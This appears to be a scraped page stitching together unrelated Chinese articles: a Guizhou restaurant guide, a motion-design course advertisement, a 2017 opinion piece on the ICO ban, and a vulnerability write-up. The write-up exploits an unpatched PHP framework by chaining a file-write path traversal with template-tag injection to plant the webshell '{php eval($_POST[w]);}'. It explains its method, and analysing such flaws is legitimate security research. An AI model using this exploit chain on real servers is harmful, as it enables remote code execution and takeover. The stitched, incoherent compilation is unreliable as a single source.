舀一勺酸汤泡饭,汤色鲜红,香味四溢,令人垂涎欲滴。

再夹一块带有牛筋的黄焖牛肉,蘸上店家自制的豆腐乳辣椒,酸辣味十足,令人胃口大开,入口即是享受。

彩云酒家

如果你晚上逛街累了之后想来点宵夜,不如去彩云酒家。

豆腐圆子

外脆里嫩的豆腐圆子要趁热吃,蘸上店家配制的辣椒佐料,轻轻咬上一口,咸辣爽滑,满口喷香,一天的疲倦感瞬间消失全无。

辣鸡角

香辣软糯的辣鸡角,要冷着吃。辣椒炒鸡一向是贵州人最爱的搭配,辣鸡角的独特之处在于冷了吃会有一种独特的香辣味,鸡肉和辣椒搭配适宜,也不会被辣椒抢了鸡肉的鲜味。

羊尾

光凭味觉和视觉,你绝对猜不出这道菜的食材是肥肉和白糖,吃起来香脆可口,甜而不腻,也不用担心会长胖,因为肥肉里的油脂已全部被榨干。

酥肉

当排骨遇上面粉,便有了香脆可口的酥肉。

一口咬下去,醉人的排骨鲜香充盈着口舌鼻腔。还可以根据自己口味洒上一点辣椒粉,那滋味真可谓妙不可言。

粗茶淡饭阁

腊肉盛宴

如果你想找回小时候自家腌制腊肉的味道,不如去粗茶淡饭阁。

所来皆是客,一桌腊肉盛宴让你体会宾至如归的感觉。

腊肉采用当地农户自己饲养的猪肉为原材料,通过盐的腌制和柴火的熏制而成。

或蒸或炒或煮皆可食用,肉质散发着柴禾的清香,吃后唇齿留香,令人久久难以忘怀。


花开花谢花化泥,长顺长安长相依。

这里是长顺,听清风流水,看蓝天白云,行悠悠古道,品美味佳肴。

这个秋天,在这里,来一场心灵放逐之旅。

小李,把这个界面做个动态演示版给甲方看…

最近越来越多的设计师找到优设编辑反馈,说遇到了瓶颈,细问发现,这群设计师里不仅有刚入行的设计新人,也有多年经验的资深设计师,有绘画功底扎实的艺术学院毕业生,也有自学成才的非科班设计师。

无论经验丰富与否,科班出身与否,他们在成长路上都遇到了同一个绊脚石:动效设计。

为什么都想学习动效设计?

这两年随着设计规范(iOS/Android)的逐步沉淀,交互表达方式趋同已经成为不可逆转的形势,这就意味着,当产品给出需求,交互设计师梳理完信息架构,一个不会设计的程序员也能靠Material design 设计规范做出一个有模有样的App。正所谓:

就着规范走,配色不会丑;
规范在我手,设计不用愁。

当规范可以替代掉部分设计工作的时候,我们的核心竞争力在哪?当然,用户体验是永恒的话题,而动效,恰好成了提升用户体验的一个跳板。

微博一个点赞动效,让无数人有了点赞的欲望 —— 用设计提升用户活跃度。腾讯电脑管家的小火箭清内存动效,吸引了无数人去体验 —— 用设计提升下载量QQ小红点拖拽消失动效,风靡全国,红点恐惧症人群自发宣传 —— 用设计塑造口碑

不过可别以为只有大公司才需要做动效设计,小公司会用到动效的地方更多:

想实现一个动效

开发:你口述我听不懂,没有Demo?那你做一个出来给我

做了个LOGO

老板:多做一个动效展示版本的,用动效阐述下你的设计过程,光一个静态LOGO 多没格调

做一个加载控件

老板:加载控件要动起来才有趣味性,今晚加个班,把这个做了吧

画了个插画场景

老板:现在大家都喜欢看动态图,你让这个场景动起来才有意境,今晚辛苦加个班

画个团队肖像:

老板:人物都不动的啊,做个动效弥补一下,很快的,下班前给我

像这样:

是不是来回看了几次,感觉有趣多了?

但动效设计之所以成为本科学历般重要的职场敲门砖,更多的是由于它承担了UI设计中许多不可或缺的功能,即功能性动效。

1. 展现层级关系:

鸡爷作品

2. 提供视觉反馈,吸引注意力:

鸡爷作品

除此以外,增加愉悦度、给用户引导,告知界面变化状态等等,都是动效设计的功能之一。

现在回到刚开始的问题,为什么都想学动效设计?答案是动效在UI 设计扮演着至关重要的角色,不会动效的设计师,做不了动态演示,画不了动态场景,动效成为趋势之下,你的求职晋升会越来越艰难。

学了动效设计能收获什么?

口说无凭,让学员亲自来说是最好的证明。

有了动效设计的技能加成,求职3-5年的设计师也不胆怯,成功加薪20%!


给你的作品加点动效,薪资说不定也能涨4K!

其他学员的收获也超级大:


△ 以后做LOGO,做界面设计等等,都不用怕动态演示啦

△ 鸡爷教书之余不忘学习最新的设计趋势,并传授给同学们

△ 即使基础不行,在鸡爷的耐心教导下也可以掌握动效设计技能

△ 不仅教你做动效,连PS和AI 都有教,全能的鸡爷!

△ 零基础学动效?有专业幽默的鸡爷教你,还有班主任和助教耐心帮你解决问题,更有终身辅导!

评价这么好,学员的作品当然也相当不俗:

△ 学员作业

△ 学员作业


△ 学员作业

△ 学员作业

△ 学员作业

△ 学员作业

老师介绍

这么好评如潮的课程,老师当然是我们的动效设计老师鸡爷咯:

BeardChicken,圈内粉丝都戏称鸡爷,优设特约免费讲座分享讲师、站酷648 万超人气设计师、全国十佳UI 设计师。

他在全球知名的设计站点Dribbble上也拥有极高人气,围观地址→ dribbble.com/tczhang

2008年开始从事广告行业,2010年开始从事UI工作,曾任职阿里数娱(天天动听)设计总监,兼创业公司设计顾问。

常年在优设分享设计教程,并且培养了超500名优秀学员,毕业学员就职BAT、更有拜师学艺后考上清华交互研究生。

课程特色:

第一:优秀助教督促辅导

课程采用1位老师+N位助教模式,全方位为大家服务。

第二:完整的项目实操

老师将带领大家做完整的项目实操,课程与工作无缝对接。

第三:独有优设课堂体系

课程采用优设独有的考勤方式、作业评优方式来奖励认真上进的学员。

报名此课程你需要的是:

1、需要熟练PS,有界面设计基础;
2、上直播不缺课,有疑问随时请教老师;
3、一定要交作业!鸡爷对每个学员作业均一对一辅导。

上课方式:

通过QQ群屏幕分享以及CCtalk直播上课,有画面有声音,老师的电脑屏幕和操作都能看清,也可实时互动交流,平时是通过qq群和微信群交流。

老师都会把直播全过程录制下来,视频加密后放百度网盘分享出来,可长期反复观看,限一台电脑。

△ 图作者:小光老师

优设学员遍布以BAT为首的互联网公司,大课堂特建立“优设大课堂校友圈“。汇集了优设十多个课程的所有学员,享有不定期免费公开课、私单招聘发布、与上千位设计师交流等福利。

在校友圈,你可以接触这12个不同领域的大咖老师,并享受他们的公开课辅导。

名额有限,欲报从速

想跟着鸡爷学习的同学,AE动效设计特训营第六期9月15号马上就来啦,为期3个月的课程,让你在下半年快速提升核心竞争力!温馨提醒哟,这是今年最后一期了,名额有限,再不抓紧就得等明年啦。

真诚的献上价格:

有疑问可以通过以下QQ或者微信咨询客服妹妹噢~

请往下看↓↓↓

报名方式一:

添加小优微信号:youshemei1(验证:动效报名)

报名方式二:

联系娜娜QQ:1271488608(验证:动效报名)

如果暂时无法联系到客服,可以点击阅读原文到优设官方微店下单购买。

挖洞经验 | 记一次曲折的Getshell过程

*本文原创作者:三只小潴,本文属1024rd原创奖励计划,未经许可禁止转载

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的过程有点曲折感觉可以写篇文章总结一下,方便与各位大牛交流交流。

因为此框架有大量用户,并且此漏洞并未修复,故此隐去所有有关此框架的信息,连文章中出现的代码都是我自己另写的,重在思路,希望大家理解。

首先通过审计定位到可能导致漏洞的代码(路径:/edit/creat.php):


  $file = $_GP['file'];
  $viewFile = './setting/' . $file;
  if (!file_exists($viewFile)) {
      mkdirs(dirname($viewFile));
      file_put_contents($viewFile, '<!-- SETTING URL:setting /' . $file . ' -->');
  }

其中 $GP 是合并 $GET 和 $_POST 的变量。

可以看到写入的文件路径和写入的部分内容都是可控的,看到这里不禁露出了一丝笑容,没想到一枚 getshell 如此轻松。

好吧,先测试一下,把$file的值设置为:

<?php echo 1111; ?>.php

post 到 /index.php? control=edit&action=creat

(此框架是单入口)

预计生成的文件内容是:

<!-- SETTING URL:setting/<?php echo 1111;?>.php -->

好了,那访问一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右键查看一下源码,发现输出的内容是:

<!-- SETTING URL:setting/&lt;?php echo 1111;?&gt;.php -->

居然被过滤了? 回溯之前的代码,在 index.php 文件中发现代码:


  $_GP= array_merge($_GET, $_POST);
  $_GP = htmlEncode($_GP);
  $control = $_GP['control'];
  $action = $_GP['action'];
  $controls = array('basic', 'edit');
  $actions = array('index', 'creat');
  if (in_array($control, $controls) &&in_array($action, $actions)) {
      $file ="./$control/$action.php";
      include $file;
  } else {
      echo 'error';
  }

关键在开始的两行代码上,htmlEncode ? 搜索这个函数,找到这个函数的代码如下:


function htmlEncode($var) {
  if (is_array($var)) {
      foreach ($var as $key => $value) {
          $var[htmlspecialchars($key)] =htmlEncode($value);
      }
  } else {
      $var = str_replace('&amp;', '&', htmlspecialchars($var,ENT_QUOTES));
  }
  return $var;
}

结合起来,就是对 post 和 get 获取到的所有内容进行htmlspecialchars,所以才会出现上面所看到的尖括号被过滤的情况。

看到这里,脸上的笑容都消失了,哎呀,果然没那么容易。尖括号过滤了,那就没办法写入PHP 代码的解析标签了,想不到什么突破的办法,难道就这样放弃么?开始犯愁…

一直想着:过滤了尖括号怎么办?过滤了尖括号怎么办?过滤了尖括号怎么办……

那我能不能不用尖括号呢?不用尖括号能不能解析?要怎么才能解析?想到这里,突然就想到模板!这个框架的模板和大多数 MVC 的模板一样,使用大括号作为标记:


function view($var) {
      /*
          这里一系列的处理就不写了
          过程就是对模板中出现的伪代码进行处理
          这些做过 Web MVC 开发的都知道

          而伪代码的格式与常见的格式一样,用大括号把变量括起来,比如:{$var}
          当然还有一些 {if $var==xx}、{loop $var as $valu e} 等等这些

          其实这些处理的目的就是生成 PHP 可解析的代码
      */
      //假设解析后的代码文件存放在一个 tmp 目录里,而目录的路径赋值给了 $viewFile 变量
      include $viewFile;
}

这样就可以使用模板的标记 {} 来绕过尖括号 <> 的过滤,但是根据这个框架的路由协定,模板不能随便被包含,所以只能覆盖原有的模板。

按照这个思路,找一个有加载模板的功能,覆盖加载的模板,覆盖之后访问了就可以解析了。按照这个思路,找到一个加载了模板的功能,URL是:

/index.php? control=basic&action=index

代码路径在/basic/index.php,代码最后就有调用 view(‘index’);

加载的模板路径在:

/themes/basic/index.html

按照这些信息,应该构造 $file 的值为:

../../themes/basic/index.html

但是这样又有一个问题了,虽然构造这样的值可以覆盖原有的模板文件,但是写入的文件内容就是:

<!-- SETTING URL:setting/../../themes/basic/index.html-->

这样的话就没有写入需要的 Webshell 了,怎么办呢?!

根据 URL 的特性,./1.php 和 ./test/../1.php 访问的内容是一样的,都是 1.php 这个文件,但是 test 这个目录名我是可以随便写的,再根据模板伪代码的格式构造一个控制 $file 的测试 POC:

../../{php echo 1111;}/../themes/basic/index.html

(根据 view() 函数的代码,有一个{php }伪代码标签,处理的时候会替换为 <?php >。其实就算是没有这标签也可以用其他非组合的标签代替)

生成的文件内容为:

<!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html -->

访问 URL:

/index.php? control=basic&action=index

右键查看源码,输出的内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明代码执行了,那构造一个包含一句话的 POC,按照上一个 POC 的思路,应该把 file 的值构造为:

../../{phpeval($_POST['w']);}/../themes/basic/index.html

但是访问后发现输出的内容为:

../../{ phpeval($_POST[&quote;w&quote;]); }/../themes/basic/index.html

想起 $file 的值是通过框架封装的 $GP 来获取的,$GP 的值都经过了 htmlencode,怎么办呢?! 根据 PHP 的特性,$_POST[‘w’] 获取值的时候可以把引号去掉,所以可以把 poc 改为:

../../{php eval($_POST[w]);}/../themes/basic/index.html

访问 URL:/index.php? control=basic&action=index ,给参数 w传值 echo 1111;

右键查看源码,内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明 post 的代码确实被执行了,到服务器上执行:

cd /var/www/html/themes/basic/
vim index.html

至此,getshell 完成,虽然过程有点艰辛,但还是拿下了。

最后总结一下:

1. 刚开始遇到过滤尖括号等的 HTML 字符的时候,利用了 MVC 模板中的伪代码代替绕过了

2. 遇到覆盖文件时候填写完整路径不能写入payload 的问题,使用了构造一个不存在的目录(目录的名称就是 payload)的方法进行 payload 的写入

3. 最后写入 payload 的时候发现也过滤了引号导致不能写入 $POST[‘w’] ,根据 PHP 的特性,去掉引号依然可以获取 w 下标的内容,所以替换为 $POST[w]

4. 写入最终构造好的 payload,Getshell 完成!

*本文原创作者:三只小潴,本文属1024rd原创奖励计划,未经许可禁止转载

ICO:本该是技术的盛宴,却被人性搞成血雨腥风的狂欢

2017年9月4日,星期一。

国家六部委同时联合声明,叫停ICO,定性“非法集资”。

以比特币为首的电子货币价格断崖式下跌,恐慌瞬间笼罩了整个币圈。

几个月来爆炸式的增长,以分钟级别创造千万、百万富翁的神话,吸引了投机者太多的眼球和驻足,他们摩拳擦掌,看着那些疯长的数值开始变得癫狂,仿佛听到远方“财务自由”的召唤。

他们红着眼球杀入了币圈,他们把手里的人民币兑换成各式各样ICO概念电子货币,幻想着公开发行后,成百上千倍的资产增长。

然而今天开始,那些身背数倍杠杆、原本想靠混乱制度一夜暴富的投机者,开始了他们惶恐,并且不知尽头的炼狱逃生之旅。

ICO(Initial Coin Offering),首次货币发行,以众筹方式获取前期资本,用于发行新式电子货币,而给这些资本的回报就是相应价值的电子货币。

ICO的底层技术是区块链,一种不可篡改的分布式账本技术。

而因为区块链技术的不开篡改和去中心化的技术特征,天然成为电子货币的技术承托体,比特币就是随着区块链技术的开始而诞生在在这个世界上。

货币电子化是自然趋势,使用方便、结算清晰,支付宝、微信已经开始让人们体会到货币电子化的威力。

然而与支付宝、微信不同的地方在于,它们只是人民币的电子化形式,比特币之流却是一种独立货币,一种能够担任全世界物品价值衡量中间件的电子货币。

依托于强大的区块链技术,不开篡改、超强机密性以及交易公开透明的天然技术特征,让比特币等电子货币看起来那么美好。同时它们就像现今的黄金等贵重金属,总量变化很小,所以价值可以基本固定。

它被誉为信息化时代的黄金,大有剥夺千年来形成的贵金属价值属性,成为资产保值最后屏障的趋势。

正是这些特征,让ICO的玩家有了吹起泡沫的价值点。他们唯一需要费力的工作就是如何为自己ICO的电子货币取一个诱人的名字,好让自己的货币看起来更有噱头,从而让更多的人掏出手中的真金白银。

然而历史证明,技术从来都只是资本轮转的垫脚石,人性才是让这个行业触目的原始力量。

目前的ICO之流注定会是失败的,我初步总结了三点原因。

1.试图抹杀国家外汇监管

比特币最令中国玩家玩味的地方其实在于它的全球性,一种凌驾于国家外汇储备管制之上的流通渠道。

虽然比特币的发明者是不明国籍的中本聪,但是据统计,现今80%的比特币交易量产生在中国境内。

除了国内狂热的投机热情之外,大量的资本外逃需求加速了比特币的疯狂交易,而这种试图绕过监管层面造成国有资产流失的行为,下场注定是悲哀的。

2.原始资产分配不均

比特币的算法决定它的上限是2100万个,其中它的发明者中本聪一人就拥有100万比特币。

而比特币诞生之初,那极其简单的挖矿难度,也让隐藏在世界各地,那些无数不知名的参与者个人持有大量比特币。

我们可以展开幻想,假设以后世界上的物品都用比特币来衡量价值,那么目前全球价值的二十分之一就归属中本聪一人所有,而那些早期持币者也可拥有这个世界上以万分之一为单位的资产,这是多么荒谬的事情!

战争的本质是资源掠夺,如果以后真的发生了上述情况,我个人认为以比特币为目标的掠夺战争将无法避免。

3.投机色彩太重

“1分钟创建区块链,5分钟制作PPT,10分钟完成ICO。”

这是前几天ICO疯狂时,币圈流行的一句话。

依托于成型的区块链技术,让ICO的技术门槛几乎为0,你所要做的就是想好一个名字以及做好一次营销,那么你的概念就成为了口中“未来统治世界的货币”。

而这些电子货币的购买者并不是为了它的价值,而是单纯的看到了它的投资属性,看到了10倍、100倍的资产增值空间,这样的发行环境以及投机心理,注定目前的ICO状态只是昙花一现的泡沫骗局。

写到最后,我个人很欣赏区块链这项技术,它所带来的价值将是不可估量的。而电子货币的发展也是必然现象,只是需要伴随相关政策的良性指导。

但是想跨越国家的界限和力量,去直接创建沟通世界的货币,目前仍然会遥遥无期,除非世界和平统一,或者外星人进攻了把。